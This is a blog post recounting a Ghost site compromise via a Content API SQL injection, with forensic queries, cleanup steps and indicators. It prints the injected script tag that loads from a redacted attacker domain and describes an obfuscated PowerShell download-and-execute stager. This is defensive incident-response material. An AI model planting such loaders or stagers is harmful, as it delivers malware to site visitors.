Intro

About a week ago, one evening, I opened an article on Mojalab and noticed something was off. There was a CAPTCHA that looked like Cloudflare's — or rather, built specifically to look like a Cloudflare CAPTCHA. Trying to solve it handed you a keyboard shortcut that would only ever work on Windows: in practice, if you followed it, it opened a terminal, pasted malicious code, and ran it.

That is not a CAPTCHA. That is ClickFix — a social-engineering pattern where a compromised, trusted site convinces the visitor to run malware themselves, neatly side-stepping every browser and endpoint control that would otherwise flag a download. And it was being served from my domain.

Naturally, I went through all five stages of grief:

  • Denial: No way someone popped my site.
  • Anger: Bastards! I'll trace them and show them who they're dealing with!
  • Bargaining: Okay, they got me, my fault, fine.
  • Depression: What an embarrassment...
  • Acceptance: Right — let's see if I can turn this into something constructive. (Like this little write-up.)

Here's the short story of what I did.

1 — Stop anyone from getting hurt

My Ghost runs on Docker containers: Database → Ghost → Nginx as the reverse proxy.

I temporarily edited the Nginx config to block all access to the site. The search engines will make me pay for it, but the important thing is that nobody gets harmed while I work. A maintenance 503 is cheap; a visitor running a stager because they trusted my domain is not.

2 — What can I learn from the command they wanted me to run?

The pasted command was obfuscated PowerShell — a hex blob fed through an XOR loop to rebuild a URL at runtime, then DownloadString + iex. A classic stager: the first stage just fetches and executes a second stage from attacker infrastructure, so the payload is swappable without ever touching the loader.

You never run this. You decode it offline. The deobfuscation is just the inverse of the obfuscation — reproduce the XOR-with-rolling-key in any language and you recover the strings without a single network call:

key = 'REDACTED_KEY'  # the per-sample XOR key from the script

def xor_decode(hexstr, key, mod):
    return ''.join(
        chr(b ^ ord(key[i % mod]))
        for i, b in enumerate(bytes.fromhex(hexstr))
    )

# the hex blobs lifted from the PowerShell, decoded:
print(xor_decode(C2_HEX, key, 7))   # -> http://xxxxxxx[.]co[.]com/p.php
print(xor_decode(ID_HEX, key, 7))   # -> campaign/victim id

(I've replaced the real hostname with a row of x's to avoid handing anyone a live link.)

Out came a C2 URL and a campaign ID. That single string — the C2 domain — is what turns "something feels off" into "I know exactly what I'm looking for." Remember it: xxxxxxx[.]co[.]com.

3 — A quick search online

A quick search confirmed the smell. CVE-2026-26980 is a blind SQL injection in Ghost's Content API, CVSS 9.4, exploitable with a single unauthenticated request. It lets an attacker read arbitrary data from the Ghost database — including the Admin API key. Affected: Ghost 3.24.0 through 6.19.0. Fixed in 6.19.1, released February 2026.

The chain is clean and nasty:

  1. Exploit the SQLi, read the Admin API key out of the DB.
  2. Use the Admin API to bulk-rewrite published posts.
  3. Inject a lightweight JavaScript loader at the bottom of every page.
  4. The loader fingerprints visitors (cloaking) and serves the fake CAPTCHA only to real targets, showing scanners and crawlers a clean page.

That cloaking step is why it can be live on your site while looking perfectly normal when you check it as a logged-in admin.

And here's the part that stings: the vulnerability had been public since February 2026, and I did precisely nothing to get ahead of it. No clever zero-day got me. A patch I never applied did. Let's keep going anyway.

4 — The hunt: where is the injection?

Here's the part that cost me time, so it can save you some. I assumed "injected script" meant the obvious places. It was none of them. Work through these in order — each one narrows the field.

All queries below assume a Dockerised Ghost with a db service. Adjust the connection bits for your setup. I've redacted my real credentials; use your own.

1. Global code injection (the settings table). This is the first place everyone looks, and on my site it was clean — only my legitimate analytics and other harmless stuff:

docker compose exec db mysql -uroot -p[REDACTED] ghost -e \
"SELECT \`key\`, value FROM settings
 WHERE \`key\` IN ('codeinjection_head','codeinjection_foot');"

A clean global injection is useful information: it rules out the most common spot and pushes the hunt onto the posts.

2. The post body (html / lexical). Find posts touched recently and grep their rendered body for obfuscation markers:

docker compose exec db mysql -uroot -p[REDACTED] ghost -N -e \
"SELECT html FROM posts WHERE updated_at >= '2026-06-22 01:30:00';" > /tmp/posts.html

grep -noiE 'atob|eval\(|fromCharCode|charCodeAt|toString\(16\)|<iframe|new Function\(|document\.write' /tmp/posts.html

Watch for false positives — new function in prose ("your new function") is not new Function(). Ask me how I know. Mine came back clean.

3. The theme. With a stolen Admin key, the attacker can hijack themes, so check:

docker compose exec ghost sh -c \
"grep -rniE 'xxxxxxx|atob|fromCharCode|charCodeAt|<iframe|new Function|eval\(' \
 /var/lib/ghost/content/themes/ 2>/dev/null"

All hits were legitimate library code (lunr, ghostHunter, lightense). Clean.

4. The domain-frequency trick. If the loader is an inline <script src>, the malicious domain will repeat across every injected post while your legitimate domains look familiar. Pull every URL out of the recently-edited posts and rank them:

docker compose exec db mysql -uroot -p[REDACTED] ghost -N -e \
"SELECT lexical FROM posts WHERE updated_at >= '2026-06-22 01:30:00';" \
| grep -oE 'https?://[a-zA-Z0-9.-]+' | sort | uniq -c | sort -rn

Mine showed only my own domains and tutorial placeholders. No rogue domain in cleartext. That, too, is a clue: the loader either isn't in those fields, or it's somewhere I hadn't looked.

5. The per-post codeinjection_foot — the culprit. Ghost has codeinjection_head and codeinjection_foot columns on every individual post, separate from the body and from the global settings. Setting them via the Admin API bumps updated_at, renders at the bottom of every page, and shows up in none of the greps above. This is the one column I'd skipped:

docker compose exec db mysql -uroot -p[REDACTED] ghost -e \
"SELECT id, slug, codeinjection_foot AS f FROM posts
 WHERE codeinjection_foot LIKE '%<script%' \G"

There it was, identical on every post:

<script src="https://xxxxxxx[.]co[.]com/gbr322/api.php"></script>

The same xxxxxxx[.]co[.]com I'd already pulled out of the PowerShell. Chain confirmed end to end: SQLi → stolen Admin key → bulk injection into per-post codeinjection_foot.

A forensic gift: the timestamps

Before cleaning, look at updated_at. A block of unrelated posts all rewritten within the same few minutes is your injection window — and your "when was I compromised" answer:

docker compose exec db mysql -uroot -p[REDACTED] ghost -e \
"SELECT id, slug, updated_at FROM posts
 WHERE codeinjection_foot LIKE '%xxxxxxx%' ORDER BY updated_at DESC;"

Mine clustered into a six-minute window in the small hours. I did not edit eleven unrelated posts at 01:40 in the morning. That was the attacker — and now I knew exactly when.

5 — Clean up, but don't panic

Don't strip all <script> tags — you'll nuke your own tool pages along with the malware. Replace the exact signature and null out anything left empty:

docker compose exec db mysql -uroot -p[REDACTED] ghost -e \
"UPDATE posts
 SET codeinjection_foot = NULLIF(
   REPLACE(codeinjection_foot,
           '<script src=\"https://xxxxxxx.co.com/gbr322/api.php\"></script>', ''), '')
 WHERE codeinjection_foot LIKE '%xxxxxxx.co.com%';"

docker compose restart ghost   # flush the render cache

Verify zero:

docker compose exec db mysql -uroot -p[REDACTED] ghost -e \
"SELECT COUNT(*) FROM posts WHERE codeinjection_foot LIKE '%xxxxxxx%';"

6 — Why cleanup is not remediation

So we've cleaned up. Resist the urge to feel safe — you have two open wounds.

The version is still vulnerable. Bring the site back up on a pre-6.19.1 Ghost and they re-inject within the hour. The upgrade is non-negotiable before going live.

The Admin API key is in their hands. With it they re-inject via the API, no SQLi required. Cleaning posts ten times means nothing while that key is valid. You have to rotate it — and rotate it after patching, because rotating on a still-vulnerable version just hands them the new key on the next read.

7 — Check for persistence

Stolen-Admin-key attackers like to leave doors behind. Two queries decide whether you're actually clean:

# rogue admin users are the worst-case persistence
docker compose exec db mysql -uroot -p[REDACTED] ghost -e \
"SELECT name, email, status, created_at, last_seen FROM users ORDER BY created_at DESC;"

# rogue webhooks can re-fire actions
docker compose exec db mysql -uroot -p[REDACTED] ghost -e \
"SELECT event, target_url, integration_id, created_at FROM webhooks ORDER BY created_at DESC;"

Also list the integrations and their API keys, and eyeball the created_at — a custom or built-in integration that materialised on the day of the incident deserves a hard look:

docker compose exec db mysql -uroot -p[REDACTED] ghost -e \
"SELECT i.name, i.type, k.type AS key_type, k.created_at
 FROM api_keys k JOIN integrations i ON k.integration_id = i.id;"

In my case: one user (mine, from install day), four webhooks (all pointing at my own indexing function), no rogue integrations. The intrusion was injection-and-run — opportunistic, not targeted. A relief — but one you can only confirm by actually looking.

A note on data exposure. Members is enabled on Mojalab, but with zero subscribers — I checked, the members table was empty. Nothing personal for the SQLi to read: just public content, the API keys (since rotated), and my own account. If your members table isn't empty, mind that each row holds email, name and an IP-derived geolocation — that's the part worth caring about.

8 — The Ghost 5 → 6 upgrade, the Docker way

Patching meant a major version jump, and on Docker that has sharp edges the official guide glosses over.

You cannot skip the migration step. Ghost only supports major upgrades from the latest minor of your current major. On Docker that means: pull and recreate the container on the latest 5.x first so the pending 5-series migrations run, then bump to 6. Jumping straight from an old 5.x to 6 puts you outside the supported path.

Back up first — both halves. The DB and the content volume:

docker compose exec db mysqldump -uroot -p[REDACTED] \
  --single-transaction --routines --triggers ghost > ghost-db-$(date +%F).sql

docker run --rm -v ghost_data:/content -v "$PWD":/backup alpine \
  tar czf /backup/ghost-content-$(date +%F).tar.gz -C /content .

That DB dump is also your rollback — the 5→6 migration is one-way.

Two things that scare people but don't apply to Docker: the Node 18→22 dance is handled by the image (you don't manage Node), and MySQL 8 is already your engine, so there's no database migration. The guides written for ghost-cli installs make this sound far worse than it is for a containerised setup.

Then it's two recreations, watching the logs each time:

docker compose pull ghost && docker compose up -d ghost   # on 5.x: run pending migrations
# edit compose: image: ghost:6.19.1   (or newer)
docker compose pull ghost && docker compose up -d ghost   # 5 -> 6 migration
docker compose logs -f ghost

A couple of bumps to expect on the far side of Ghost 6: older themes whose search calls /ghost/api/v2/content/posts/?key=...&limit=all will break (Ghost 6 dropped limit=all), and email-based sign-in verification can lock you out if your SMTP is down — fun, when the incident is the reason your SMTP is down. Plan your recovery path before you need it.

9 — Lessons

The honest root cause isn't clever attacker tradecraft. It's that I was running a version with a patch available since February — and I had nothing watching for it.

So once the dust settled, I built the thing I wish had existed before that night. It's called Container Sentinel — a small wrapper around Trivy that scans your running containers, hands the findings to an LLM for a readable summary, and nags you if it's been too long since the last run. Tools like this surely already exist, and probably better ones — I just made an easy little one for myself, and for anyone who wants it. Either way the heavy lifting is all Trivy's; I'm just gluing it together with some AI and a reminder. But it closes exactly the gap that got me: nobody was telling me my Ghost was sitting on a known critical.

The first thing I did was point it at a vulnerable Ghost image, to see whether it would even have caught this:

│ ghost (package.json) │ CVE-2026-26980 │ CRITICAL │ 5.130.6 │ 6.19.1 │ Ghost has a SQL injection in Content API │

There it was. One CRITICAL line, the fixed version right next to it. Trivy fingerprints the ghost package straight out of package.json and maps it to the advisory — so a weekly scan would have flagged this back in February, four months before the night I actually got hit. Small comfort, but it turned the incident into a tool instead of just a scar.

That's the real lesson, and it's a boring one: the threat wasn't that I didn't understand the attack — I've been doing this long enough to know exactly how SQL injection works. The threat was that I had no operational loop watching for known-vulnerable versions. Security isn't only about knowing things; it's about the unglamorous discipline of keeping something tensioned between you and the next obvious mistake.

A few smaller takeaways, so you don't collect them the hard way:

  • Self-hosted Ghost has no auto-update. Pin a recent tag, and put something — a scanner, a reminder, a cron — between you and the next mass-exploitation window.
  • A fake CAPTCHA on a site you trust is the attack, not a nuisance. Never paste a command a web page hands you. The entire point of ClickFix is that you run it yourself.
  • Cleanup ≠ remediation. Patch, then rotate every secret the database could leak, then verify persistence. In that order.
  • Lock the origin to your CDN. If your origin IP answers Ghost directly, your WAF is a reinforced door next to an open window — the attacker just knocks on the IP and skips it entirely.

Indicators of compromise

  • C2 / loader domain: xxxxxxx[.]co[.]com (paths seen: /p.php, /gbr322/api.php) — redacted here on purpose.
  • Injected tag in per-post codeinjection_foot:
    <script src="https://xxxxxxx[.]co[.]com/gbr322/api.php"></script>
  • Lure: a fake Cloudflare-style CAPTCHA instructing Windows users to paste PowerShell into the Run dialog.
  • Vulnerability: CVE-2026-26980, Ghost Content API SQLi, affects 3.24.0–6.19.0, fixed in 6.19.1.

If you run Ghost: check your version right now, get to 6.19.1 or later, rotate your Admin and Content API keys, and run the codeinjection_foot query above. This was a mass campaign — it scanned the whole internet and did not care whose blog it was. It certainly didn't care about mine.

Stay patched. Learn from my embarrassment so you don't have to collect your own. — Doradame